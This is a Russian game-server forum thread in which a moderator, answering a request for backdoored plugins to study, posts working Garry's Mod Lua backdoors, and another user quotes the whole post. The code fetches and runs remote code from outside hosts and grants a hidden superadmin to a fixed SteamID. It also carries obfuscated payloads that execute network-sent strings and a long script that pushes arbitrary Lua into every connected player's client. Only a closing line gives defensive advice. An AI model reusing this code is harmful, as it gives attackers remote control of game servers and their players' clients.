Welcome to Сообщество игровых серверов NETZONA.ORG

Присоединяйтесь к нам сейчас, чтобы получить доступ ко всем нашим функциям. Зарегистрировавшись и войдя в систему, вы сможете создавать темы, публиковать ответы в существующих темах, давать репутацию другим участникам, получать собственный личный мессенджер и многое другое. Это также быстро и совершенно бесплатно, так чего же вы ждете?
  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами Публичной оферты Проекта NetZONA.org: https://netzona.org/help/public-offer/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами использования Ваших файлов cookie на Проекте NetZONA.org: https://netzona.org/help/cookies/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с Политикой конфиденциальности Проекта NetZONA.org: https://netzona.org/pages/privacy-policy/

  • Ответы на основные вопросы: https://netzona.org/threads/populjarnye-voprosy-i-otvety-na-nix.6122/

  • Приветствуем на сайте, Гость! Приобрести (купить) Информационную услугу (в том числе группу "Проверенный") на Проекте NetZONA.org: https://netzona.org/account/upgrades

[Helix] Плагин с backdoor`ом

Статус
В этой теме нельзя размещать новые ответы.

5 тяжек чарика

Пользователь
Регистрация
1 Мар 2018
Сообщения
158
Реакции
0
Баллы
31
Адрес
bybabyba
Веб-сайт
vk.com
Клан-тег
xoi
Род занятий
onime
Ребят, скиньте, пожалуйста, любой плагин с bd. Хотелось бы немного разобраться в этой теме.
 

Morgan

Модератор
Команда форума
Регистрация
24 Сен 2019
Сообщения
941
Реакции
12
Баллы
52
Адрес
города крутых Модераторов
Пол
Мужской
Семейное положение
Свободен(а) как ветер
Мож просто бэков тебе накидать?)))
Хотя все равно часто бэки это либо http.Fetch (по типу gBackdoors, kvacdoor и прочая панельная ерунда) либо (самое тупое) на 100 строк бэк который видно даже челу со зрением -5.
 

5 тяжек чарика

Пользователь
Регистрация
1 Мар 2018
Сообщения
158
Реакции
0
Баллы
31
Адрес
bybabyba
Веб-сайт
vk.com
Клан-тег
xoi
Род занятий
onime
Мож просто бэков тебе накидать?)))
Хотя все равно часто бэки это либо http.Fetch (по типу gBackdoors, kvacdoor и прочая панельная ерунда) либо (самое тупое) на 100 строк бэк который видно даже челу со зрением -5.
Буду рад, если скинешь)
 

5 тяжек чарика

Пользователь
Регистрация
1 Мар 2018
Сообщения
158
Реакции
0
Баллы
31
Адрес
bybabyba
Веб-сайт
vk.com
Клан-тег
xoi
Род занятий
onime
Я lua не знаю (да и вообще какой-либо язык не изучал), но мне просто хочется понять, как они работают, как некоторые из них вообще выглядят.
 

Morgan

Модератор
Команда форума
Регистрация
24 Сен 2019
Сообщения
941
Реакции
12
Баллы
52
Адрес
города крутых Модераторов
Пол
Мужской
Семейное положение
Свободен(а) как ветер
Я lua не знаю (да и вообще какой-либо язык не изучал), но мне просто хочется понять, как они работают, как некоторые из них вообще выглядят.
НИЖЕ ПРЕДСТАВНЕННЫЕ БЭКДУРЫ ПРЕДОСТАВИЛ ИСКЛЮЧИТЕЛЬНО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ

1. http.Fetch
Lua:
timer.Simple(10, function()
    http.Fetch("http://87.98.180.200/~content1/setup.lua", function(c)
        RunString(c)
    end)
end)
===============================

http.Fetch("http://drm228.000webhostapp.com/core/stage1.php", function(b, l, h, c) 

if c == 200 then RunString(b) end 

end)
Панельный бэк. Сервер посылает данные на сайт, сайт принимает и на сайте юзай функции какие только можешь.

2. Тупое но рабочее
Код:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Выдаёт админку тому, кто в консоль пропишет Nestor

3. Шифрованные бэки
Код:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,7,26,13,15,66,15,22,67,0,5,2,7,67,10,25,}
====================================
RunString(string.char(117, 116, 105, 108, 46, 65, 100, 100, 78, 101, 116, 119, 111, 114, 107, 83, 116, 114, 105, 110, 103, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 41, 32, 110, 101, 116, 46, 82, 101, 99, 101, 105, 118, 101, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 97, 44, 98, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 110, 101, 116, 46, 82, 101, 97, 100, 83, 116, 114, 105, 110, 103, 40, 41, 41, 32, 101, 110, 100, 41)
Что делает знать не знаю так как зашифровано.

4. Целый LUA-шник с кучей говна

Код:
--[[
    File: ?.lua
    For: Annoying pirates to death, then annoying them some more until they die a second time
    By: Ultra
]]--

util.AddNetworkString "slua"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end )  
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )



--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
       
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
           
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
               
                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end

        LoadWebMaterial( "https://puu.sh/xjXlK/e850cccd1b.png", "hud1", 300, 128 )
        LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://puu.sh/xjXlM/1b5b25b39a.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://puu.sh/xjXqs/585d8dd339.png", "xhair", 64, 64 )
        LoadWebMaterial( "https://puu.sh/xjXs8/34852fe1de.png", "doritos", 183, 256 )
        LoadWebMaterial( "https://puu.sh/xjXs0/d766b0c51c.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://puu.sh/xjXrT/6894da3f54.png", "dew", 110, 256 )
        LoadWebMaterial( "https://puu.sh/xjXtN/806d9bd2f6.png", "awp", 256, 55 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )

--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end

        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end

        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end

        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )

            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end

            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end

            draw.SimpleTextOutlined(
                "[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )

        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )

        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )

--Disco time
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )


    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0

        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end

            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
               
                if part then
                    local Size = math.random( 4, 7 )
                   
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )

    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )

            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )

        local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0

        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end

            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )

           
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )

            for i = 1, 32 do
                if CurTime() > time then
                    posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache[i][1], posCache[i][2]

                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                   
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )

                    mdl:DrawModel()
                   
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end

            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )

        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )

--Let the beat drop
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )

        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )

        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )

        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )

--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
    lol:SendLua( pPlayer, [[
        surface.PlaySound( "vo/npc/male01/gethellout.wav" )

        local sounds = {}
        for i = 1, 4 do
            sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
                sounds[#sounds +1] = pChan
            end )
        end

        timer.Create( "asdf", 1, 0, function()
            if #sounds ~= 4 then return end
            timer.Destroy( "asdf" )
            for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
        end )

        hook.Add( "HUDShouldDraw", "newhud", function() return false end )
    ]] )

    pPlayer:Remove()
end )
Даже страшно разьяснять что тут можно.
========================================================
ЗАКЛЮЧЕНИЕ
Обычно все бэки в авторане либо sv части луа. Советую проверять все луа файлы, а еще проще юзать CPE либо nomalua
 

Firecode2

Пользователь
Проверенный
Регистрация
9 Ноя 2018
Сообщения
131
Реакции
0
Баллы
43
НИЖЕ ПРЕДСТАВНЕННЫЕ БЭКДУРЫ ПРЕДОСТАВИЛ ИСКЛЮЧИТЕЛЬНО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ

1. http.Fetch
Lua:
timer.Simple(10, function()
    http.Fetch("http://87.98.180.200/~content1/setup.lua", function(c)
        RunString(c)
    end)
end)
===============================

http.Fetch("http://drm228.000webhostapp.com/core/stage1.php", function(b, l, h, c)

if c == 200 then RunString(b) end

end)
Панельный бэк. Сервер посылает данные на сайт, сайт принимает и на сайте юзай функции какие только можешь.

2. Тупое но рабочее
Код:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Выдаёт админку тому, кто в консоль пропишет Nestor

3. Шифрованные бэки
Код:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,7,26,13,15,66,15,22,67,0,5,2,7,67,10,25,}
====================================
RunString(string.char(117, 116, 105, 108, 46, 65, 100, 100, 78, 101, 116, 119, 111, 114, 107, 83, 116, 114, 105, 110, 103, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 41, 32, 110, 101, 116, 46, 82, 101, 99, 101, 105, 118, 101, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 97, 44, 98, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 110, 101, 116, 46, 82, 101, 97, 100, 83, 116, 114, 105, 110, 103, 40, 41, 41, 32, 101, 110, 100, 41)
Что делает знать не знаю так как зашифровано.

4. Целый LUA-шник с кучей говна

Код:
--[[
    File: ?.lua
    For: Annoying pirates to death, then annoying them some more until they die a second time
    By: Ultra
]]--

util.AddNetworkString "slua"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end ) 
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )



--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
      
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
          
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
              
                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end

        LoadWebMaterial( "https://puu.sh/xjXlK/e850cccd1b.png", "hud1", 300, 128 )
        LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://puu.sh/xjXlM/1b5b25b39a.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://puu.sh/xjXqs/585d8dd339.png", "xhair", 64, 64 )
        LoadWebMaterial( "https://puu.sh/xjXs8/34852fe1de.png", "doritos", 183, 256 )
        LoadWebMaterial( "https://puu.sh/xjXs0/d766b0c51c.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://puu.sh/xjXrT/6894da3f54.png", "dew", 110, 256 )
        LoadWebMaterial( "https://puu.sh/xjXtN/806d9bd2f6.png", "awp", 256, 55 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )

--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end

        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end

        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end

        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )

            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end

            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end

            draw.SimpleTextOutlined(
                "[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )

        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )

        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )

--Disco time
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )


    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0

        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end

            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
              
                if part then
                    local Size = math.random( 4, 7 )
                  
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )

    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )

            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )

        local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0

        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end

            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )

          
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )

            for i = 1, 32 do
                if CurTime() > time then
                    posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache[i][1], posCache[i][2]

                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                  
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )

                    mdl:DrawModel()
                  
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end

            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )

        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )

--Let the beat drop
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )

        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )

        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )

